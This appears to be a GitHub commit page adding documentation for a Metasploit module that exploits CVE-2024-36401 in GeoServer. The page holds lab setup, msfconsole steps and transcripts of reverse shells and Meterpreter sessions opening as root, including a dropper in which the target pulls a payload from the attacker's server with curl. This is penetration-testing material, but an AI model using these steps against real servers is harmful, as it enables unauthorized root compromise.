Skip to content

Commit f7449ea

Browse files
jheysel-r7jheysel-r7
committed
Land rapid7#19311, Add GeoServer unauth RCE module
This adds an exploit module for CVE-2024-36401, an unauthenticated RCE vulnerability in GeoServer versions prior to 2.23.6, between version 2.24.0 and 2.24.3 and in version 2.25.0, 2.25.1.
2 parents 6283456 + c5dad68 commit f7449ea

File tree

2 files changed

+552
-0
lines changed

2 files changed

+552
-0
lines changed

‎documentation/modules/exploit/multi/http/geoserver_unauth_rce_cve_2024_36401.md

Lines changed: 352 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,352 @@
1+
## Vulnerable Application
2+
3+
GeoServer is an open-source software server written in Java that provides the ability to view, edit, and sharegeospatial data.
4+
It is designed to be a flexible, efficient solution for distributing geospatial data from a variety of sources such as
5+
Geographic Information System (GIS) databases, web-based data, and personal datasets.
6+
7+
In the GeoServer versions prior to `2.23.6`, between version `2.24.0` and `2.24.3` and in version `2.25.0`, `2.25.1`,
8+
multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input
9+
against a default GeoServer installation due to unsafely evaluating property names as `XPath` expressions.
10+
An attacker can abuse this by sending a POST request with a malicious xpath expression to execute arbitrary commands as root on the system.
11+
12+
The following GeoServer releases are tested:
13+
14+
**Osgeo.org Docker releases with Tomcat**
15+
* docker.osgeo.org/geoserver 2.25.0
16+
* docker.osgeo.org/geoserver 2.24.2
17+
* docker.osgeo.org/geoserver 2.23.2
18+
* docker.osgeo.org/geoserver 2.23.0
19+
* docker.osgeo.org/geoserver 2.21.1
20+
21+
**Vulhub Docker releases with Jetty**
22+
* vulhub/geoserver 2.23.2
23+
* vulhub/geoserver 2.22.1
24+
25+
**Linux binary installs with Jetty**
26+
* geoserver 2.23.5 on x64 Ubuntu 22.04
27+
* geoserver 2.23.5 on Raspberry PI-4 ARM64 Kali Linux 2024.4
28+
29+
**Windows 10 installer installs with Jetty**
30+
* geoserver 2.25.0 on x64 Windows 10 (10.0 Build 19045)
31+
32+
## Installation steps to install the GeoServer web application
33+
* [Installation steps](https://docs.geoserver.org/latest/en/user/installation/win_installer.html) for Windows installer.
34+
* [Installation steps](https://docs.geoserver.org/latest/en/user/installation/linux.html) for platform-independent Linux binary.
35+
* [Installation steps](https://docs.geoserver.org/latest/en/user/installation/docker.html) for osgeo.org/geoserver docker images.
36+
* Use the docker-compose.yaml config file below to pull the vulhub geoserver docker images.
37+
```yaml
38+
version: '3'
39+
services:
40+
web:
41+
image: vulhub/geoserver:2.23.2
42+
ports:
43+
- "8080:8080"
44+
- "5005:5005"
45+
```
46+
* Pull and install the docker image with `docker compose up -d`
47+
* You should now be able to access the GeoServer web application via `http://your_ip:8080/geoserver`.
48+
49+
You are ready to test the module.
50+
51+
## Verification Steps
52+
53+
- [ ] Start `msfconsole`
54+
- [ ] `use exploit/multi/http/geoserver_unauth_rce_cve_2024_36401`
55+
- [ ] `set rhosts <ip-target>`
56+
- [ ] `set rport <port>`
57+
- [ ] `set lhost <attacker-ip>`
58+
- [ ] `set target <0=Unix Command, 1=Linux Dropper>`
59+
- [ ] `exploit`
60+
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
61+
62+
## Options
63+
No specific options.
64+
65+
## Scenarios
66+
```msf
67+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > info
68+
69+
Name: Geoserver unauthenticated Remote Code Execution
70+
Module: exploit/multi/http/geoserver_unauth_rce_cve_2024_36401
71+
Platform: Unix, Linux
72+
Arch: cmd, x86, x64, aarch64, armle
73+
Privileged: Yes
74+
License: Metasploit Framework License (BSD)
75+
Rank: Excellent
76+
Disclosed: 2024-07-01
77+
78+
Provided by:
79+
h00die-gr3y <[email protected]>
80+
Steve Ikeoka
81+
82+
Module side effects:
83+
ioc-in-logs
84+
artifacts-on-disk
85+
86+
Module stability:
87+
crash-safe
88+
89+
Module reliability:
90+
repeatable-session
91+
92+
Available targets:
93+
Id Name
94+
-- ----
95+
=> 0 Unix Command
96+
1 Linux Dropper
97+
98+
Check supported:
99+
Yes
100+
101+
Basic options:
102+
Name Current Setting Required Description
103+
---- --------------- -------- -----------
104+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
105+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basi
106+
cs/using-metasploit.html
107+
RPORT 8080 yes The target port (TCP)
108+
SSL false no Negotiate SSL/TLS for outgoing connections
109+
SSLCert no Path to a custom SSL certificate (default is randomly generated)
110+
TARGETURI / yes The URI path of the OpenMediaVault web application
111+
URIPATH no The URI to use for this exploit (default is random)
112+
VHOST no HTTP server virtual host
113+
114+
115+
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
116+
117+
Name Current Setting Required Description
118+
---- --------------- -------- -----------
119+
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the
120+
local machine or 0.0.0.0 to listen on all addresses.
121+
SRVPORT 8080 yes The local port to listen on.
122+
123+
Payload information:
124+
125+
Description:
126+
GeoServer is an open-source software server written in Java that provides
127+
the ability to view, edit, and share geospatial data.
128+
It is designed to be a flexible, efficient solution for distributing geospatial data
129+
from a variety of sources such as Geographic Information System (GIS) databases,
130+
web-based data, and personal datasets.
131+
In the GeoServer versions < 2.23.6, >= 2.24.0, < 2.24.4 and >= 2.25.0, < 2.25.1,
132+
multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users
133+
through specially crafted input against a default GeoServer installation due to unsafely
134+
evaluating property names as XPath expressions.
135+
An attacker can abuse this by sending a POST request with a malicious xpath expression
136+
to execute arbitrary commands as root on the system.
137+
138+
References:
139+
https://nvd.nist.gov/vuln/detail/CVE-2024-36401
140+
https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv
141+
https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401
142+
https://attackerkb.com/topics/W6IDY2mmp9/cve-2024-36401
143+
144+
145+
View the full module info with the info -d command.
146+
```
147+
### GeoServer 2.23.5 on x64 Ubuntu 22.04 - cmd/unix/reverse_bash
148+
```msf
149+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set rhosts 192.168.201.86
150+
rhosts => 192.168.201.86
151+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set lhost 192.168.201.8
152+
lhost => 192.168.201.8
153+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > exploit
154+
155+
[*] Started reverse TCP handler on 192.168.201.8:4444
156+
[*] Running automatic check ("set AutoCheck false" to disable)
157+
[*] Trying to detect if target is running a vulnerable version of GeoServer.
158+
[+] The target appears to be vulnerable. Version 2.23.5
159+
[*] Executing Unix Command for cmd/unix/reverse_bash
160+
[*] Command shell session 7 opened (192.168.201.8:4444 -> 192.168.201.86:54072) at 2024-07-11 16:09:30 +0000
161+
162+
id
163+
uid=0(root) gid=0(root) groups=0(root)
164+
uname -a
165+
Linux cuckoo 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
166+
pwd
167+
/usr/share/geoserver
168+
exit
169+
```
170+
### GeoServer 2.23.5 on ARM64 Raspberry PI-4 Kali Linux 2024.4 - cmd/unix/reverse_bash
171+
```msf
172+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set target 0
173+
target => 0
174+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set rhosts 192.168.201.10
175+
rhosts => 192.168.201.10
176+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set lhost 192.168.201.8
177+
lhost => 192.168.201.8
178+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > exploit
179+
180+
[*] Started reverse TCP handler on 192.168.201.8:4444
181+
[*] Running automatic check ("set AutoCheck false" to disable)
182+
[*] Trying to detect if target is running a vulnerable version of GeoServer.
183+
[+] The target appears to be vulnerable. Version 2.23.5
184+
[*] Executing Unix Command for cmd/unix/reverse_bash
185+
[*] Command shell session 8 opened (192.168.201.8:4444 -> 192.168.201.10:50292) at 2024-07-11 16:15:31 +0000
186+
187+
id
188+
uid=0(root) gid=0(root) groups=0(root)
189+
uname -a
190+
Linux cerberus 5.15.44-Re4son-v8l+ #1 SMP PREEMPT Debian kali-pi (2022-07-11) aarch64 GNU/Linux
191+
pwd
192+
/usr/share/geoserver
193+
exit
194+
```
195+
### GeoServer 2.23.2 on vulhub docker image - cmd/unix/reverse_bash
196+
```msf
197+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set target 0
198+
target => 0
199+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set rhosts 192.168.201.42
200+
rhosts => 192.168.201.10
201+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set lhost 192.168.201.8
202+
lhost => 192.168.201.8
203+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > exploit
204+
205+
[*] Started reverse TCP handler on 192.168.201.8:4444
206+
[*] Running automatic check ("set AutoCheck false" to disable)
207+
[*] Trying to detect if target is running a vulnerable version of GeoServer.
208+
[+] The target appears to be vulnerable. Version 2.23.2
209+
[*] Executing Unix Command for cmd/unix/reverse_bash
210+
[*] Command shell session 9 opened (192.168.201.8:4444 -> 192.168.201.42:60290) at 2024-07-11 18:42:08 +0000
211+
212+
id
213+
uid=0(root) gid=0(root) groups=0(root)
214+
uname -a
215+
Linux e3f986905bde 6.6.32-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Jun 13 14:14:43 UTC 2024 x86_64 GNU/Linux
216+
pwd
217+
/mnt/geoserver
218+
```
219+
### GeoServer 2.23.2 on vulhub docker image - linux/x64/meterpreter_reverse_tcp
220+
```msf
221+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set target 1
222+
target => 1
223+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set payload linux/x64/meterpreter_reverse_tcp
224+
payload => linux/x64/meterpreter_reverse_tcp
225+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set srvport 1981
226+
srvport => 1981
227+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > exploit
228+
229+
[*] Started reverse TCP handler on 192.168.201.8:4444
230+
[*] Running automatic check ("set AutoCheck false" to disable)
231+
[*] Trying to detect if target is running a vulnerable version of GeoServer.
232+
[+] The target appears to be vulnerable. Version 2.23.2
233+
[*] Executing Linux Dropper for linux/x64/meterpreter_reverse_tcp
234+
[*] Using URL: http://192.168.201.8:1981/FEflDEJ
235+
[*] Client 192.168.201.42 (curl/7.74.0) requested /FEflDEJ
236+
[*] Sending payload to 192.168.201.42 (curl/7.74.0)
237+
[*] Command Stager progress - 100.00% done (113/113 bytes)
238+
[*] Meterpreter session 10 opened (192.168.201.8:4444 -> 192.168.201.42:60353) at 2024-07-11 18:48:02 +0000
239+
[*] Server stopped.
240+
241+
meterpreter > sysinfo
242+
Computer : 172.21.0.2
243+
OS : Debian 11.3 (Linux 6.6.32-linuxkit)
244+
Architecture : x64
245+
BuildTuple : x86_64-linux-musl
246+
Meterpreter : x64/linux
247+
meterpreter > getuid
248+
Server username: root
249+
meterpreter > pwd
250+
/mnt/geoserver
251+
meterpreter >
252+
```
253+
### GeoServer 2.25.0 on osgeo.org/geoserver docker image - linux/x64/meterpreter_reverse_tcp
254+
```msf
255+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set target 1
256+
target => 1
257+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set payload linux/x64/meterpreter_reverse_tcp
258+
payload => linux/x64/meterpreter_reverse_tcp
259+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > exploit
260+
261+
[*] Started reverse TCP handler on 192.168.201.8:4444
262+
[*] Running automatic check ("set AutoCheck false" to disable)
263+
[*] Trying to detect if target is running a vulnerable version of GeoServer.
264+
[+] The target appears to be vulnerable. Version 2.25.0
265+
[*] Executing Linux Dropper for linux/x64/meterpreter_reverse_tcp
266+
[*] Using URL: http://192.168.201.8:1981/CEkJIBo
267+
[*] Client 192.168.201.42 (curl/7.81.0) requested /CEkJIBo
268+
[*] Sending payload to 192.168.201.42 (curl/7.81.0)
269+
[*] Command Stager progress - 100.00% done (113/113 bytes)
270+
[*] Meterpreter session 11 opened (192.168.201.8:4444 -> 192.168.201.42:61350) at 2024-07-11 20:46:14 +0000
271+
[*] Server stopped.
272+
273+
meterpreter > sysinfo
274+
Computer : 172.17.0.2
275+
OS : Ubuntu 22.04 (Linux 6.6.32-linuxkit)
276+
Architecture : x64
277+
BuildTuple : x86_64-linux-musl
278+
Meterpreter : x64/linux
279+
meterpreter > getuid
280+
Server username: root
281+
meterpreter > pwd
282+
/opt
283+
meterpreter >
284+
```
285+
### GeoServer 2.23.5 on ARM64 Raspberry PI-4 Kali Linux 2024.4 - linux/aarch64/meterpreter_reverse_tcp
286+
```msf
287+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set target 1
288+
target => 1
289+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set payload linux/aarch64/meterpreter_reverse_tcp
290+
payload => linux/aarch64/meterpreter_reverse_tcp
291+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set rhosts 192.168.201.10
292+
rhosts => 192.168.201.10
293+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > exploit
294+
295+
[*] Started reverse TCP handler on 192.168.201.8:4444
296+
[*] Running automatic check ("set AutoCheck false" to disable)
297+
[*] Trying to detect if target is running a vulnerable version of GeoServer.
298+
[+] The target appears to be vulnerable. Version 2.23.5
299+
[*] Executing Linux Dropper for linux/aarch64/meterpreter_reverse_tcp
300+
[*] Using URL: http://192.168.201.8:1981/680jWmUv1qm
301+
[*] Client 192.168.201.10 (curl/8.5.0) requested /680jWmUv1qm
302+
[*] Sending payload to 192.168.201.10 (curl/8.5.0)
303+
[*] Command Stager progress - 100.00% done (117/117 bytes)
304+
[*] Meterpreter session 12 opened (192.168.201.8:4444 -> 192.168.201.10:60692) at 2024-07-11 21:04:34 +0000
305+
[*] Server stopped.
306+
307+
meterpreter > sysinfo
308+
Computer : 192.168.201.10
309+
OS : Debian (Linux 5.15.44-Re4son-v8l+)
310+
Architecture : aarch64
311+
BuildTuple : aarch64-linux-musl
312+
Meterpreter : aarch64/linux
313+
meterpreter > getuid
314+
Server username: root
315+
meterpreter > pwd
316+
/usr/share/geoserver
317+
meterpreter >
318+
```
319+
### GeoServer 2.25.0 on x64 Windows 10 (10.0 Build 19045)
320+
```
321+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set rhosts 172.16.199.131
322+
rhosts => 172.16.199.131
323+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set lhost 172.16.199.1
324+
lhost => 172.16.199.1
325+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set target 2
326+
target => 2
327+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
328+
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
329+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > run
330+
331+
[*] Started reverse TCP handler on 172.16.199.1:4444
332+
[*] Running automatic check ("set AutoCheck false" to disable)
333+
[*] Trying to detect if target is running a vulnerable version of GeoServer.
334+
[+] The target appears to be vulnerable. Version 2.25.0
335+
[*] Executing Windows Command for cmd/windows/http/x64/meterpreter/reverse_tcp
336+
[*] Sending stage (201798 bytes) to 172.16.199.131
337+
[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.131:51235) at 2024-07-11 16:14:11 -0700
338+
339+
meterpreter > getuid
340+
Server username: DESKTOP-N3ORU31\msfuser
341+
meterpreter > sysinfo
342+
Computer : DESKTOP-N3ORU31
343+
OS : Windows 10 (10.0 Build 19045).
344+
Architecture : x64
345+
System Language : en_US
346+
Domain : WORKGROUP
347+
Logged On Users : 2
348+
Meterpreter : x64/windows
349+
meterpreter >
350+
```
351+
## Limitations
352+
No limitations.

0 commit comments

Comments
 (0)